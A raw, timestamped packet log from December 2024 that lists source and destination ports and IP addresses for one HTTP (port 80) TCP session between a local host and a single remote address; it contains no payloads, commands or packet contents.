Dec 21, 2024 10:15:20.398283005 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.398312092 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.398447990 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.399339914 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.399400949 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.529973030 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.530030966 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.530101061 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.530186892 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.530476093 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.530534983 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.530771971 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.531172991 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.531618118 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.531747103 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.531800985 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.532792091 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.532845974 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.532893896 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.532948017 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.534082890 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.534137964 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.534138918 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.534197092 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.535181046 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.535238981 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.535300016 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.535434961 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.536361933 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.536422014 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.536485910 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.536688089 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.537584066 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.537600994 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.537655115 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.538738012 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.538824081 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.538865089 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.538918018 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.539923906 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.539980888 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.540076017 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.540150881 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.541249037 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.541265011 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.541301012 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.541332960 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.542315006 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.542366982 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.542551041 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.542604923 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.543481112 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.543534040 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.543576002 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.543626070 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.544636965 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.544691086 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.544776917 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.544827938 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.545864105 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.545921087 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.545985937 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.546154976 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.547035933 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.547097921 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.547146082 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.547311068 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.548192978 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.548248053 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.548290968 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.549165964 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.549385071 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.549446106 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.549511909 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.549562931 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.550631046 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.550695896 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.550755978 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.550832033 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.551908970 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.551924944 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.551960945 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.551992893 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.553030968 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.553086042 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.553143024 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.554162979 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.554213047 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.554518938 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.554573059 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.555351973 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.555485010 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.555547953 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.556493044 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.556560993 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.556602001 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.556647062 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.557779074 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.557852983 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.557898998 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.557949066 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.558902979 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.558963060 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.559015989 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.560182095 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.560197115 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.560257912 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.560288906 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.561253071 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.561382055 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.561444998 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.562459946 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.562537909 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.562577963 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.562634945 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.563664913 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.563715935 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.563754082 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.563754082 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.564831018 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.564899921 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.565001965 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.565309048 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.565999985 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.566183090 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.566243887 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.567230940 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.567303896 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.567325115 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.567370892 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.568411112 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.568475962 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.568552017 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.568608046 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.569571018 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.569629908 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.569689989 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.569741964 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.570779085 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.570832968 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.570882082 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.571911097 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.572128057 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.572194099 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.573158026 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.573280096 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.573288918 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.573335886 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.574292898 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.574388027 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.574440002 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.575448036 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.575511932 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.575541019 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.575587034 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.576709986 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.576776028 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.576867104 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.576929092 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.577863932 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.577945948 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.578005075 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.579072952 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.579097986 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.579144955 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.579175949 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.580260038 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.580316067 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.580357075 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.580389977 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.581471920 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.581527948 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.581561089 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.581593990 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.582566023 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.582663059 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.582722902 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.583796978 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.583879948 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.583894014 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.583946943 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.584983110 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.585031986 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.585042953 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.585088015 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.586215973 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.586231947 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.586272001 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.586303949 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.587289095 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.587366104 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.587419987 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.587471008 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.588511944 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.588593006 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.588721037 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.588772058 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.589828014 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.589843988 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.589904070 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.589904070 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.590858936 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.590918064 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.590959072 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.591008902 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.592026949 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.592843056 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.724009037 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.724087954 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.724632978 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.724649906 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.724667072 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.724704027 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.724734068 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.725749969 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.725806952 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.725814104 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.725866079 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.726990938 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.727006912 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.727051973 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.727051973 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.728161097 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.728188038 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.728219032 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.728250980 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.729274035 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.729332924 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.729420900 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.729530096 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.730468988 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.730528116 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.730705976 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.730766058 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.731678963 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.731733084 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.731738091 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.731775999 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.733025074 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.733042002 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.733074903 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.733092070 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.734036922 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.734141111 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.734177113 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.734194040 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.735320091 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.735395908 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.735443115 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.736366034 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.736416101 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.736526966 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.736582041 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.737561941 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.737610102 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.737690926 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.737804890 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.738740921 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.738785028 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.738836050 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.738876104 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.739902973 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.739948988 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.740067005 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.740115881 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.741151094 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.741204023 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.741225958 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.741266966 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.742340088 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.742398024 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.742484093 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.742650986 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.743491888 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.743556976 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.743680954 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.743741989 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.744735003 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.744791031 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.744987011 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.745038986 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.745850086 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.745902061 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.745980978 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.746076107 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.747064114 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.747112989 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.747278929 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.747323990 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.748205900 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.748261929 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.748301029 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.748351097 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.749433041 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.749490976 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.749551058 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.749594927 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.750565052 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.750694990 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.750754118 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.751823902 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.751892090 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.751904964 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.751950026 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.753002882 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.753053904 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.753158092 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.753324032 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.754148960 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.754301071 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.754348040 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.755500078 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.755567074 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.755592108 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.755641937 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.756520987 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.756570101 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.756688118 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.756730080 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.757662058 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.757710934 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.757778883 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.757811069 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.758819103 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.758863926 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.758932114 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.758972883 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.760061979 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.760277987 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.760318041 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.761272907 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.761322975 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.761362076 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.761411905 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.762582064 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.762597084 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.762669086 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.763576984 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:20.763621092 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:20.763694048 CET	80	49781	31.41.244.11	192.168.2.4
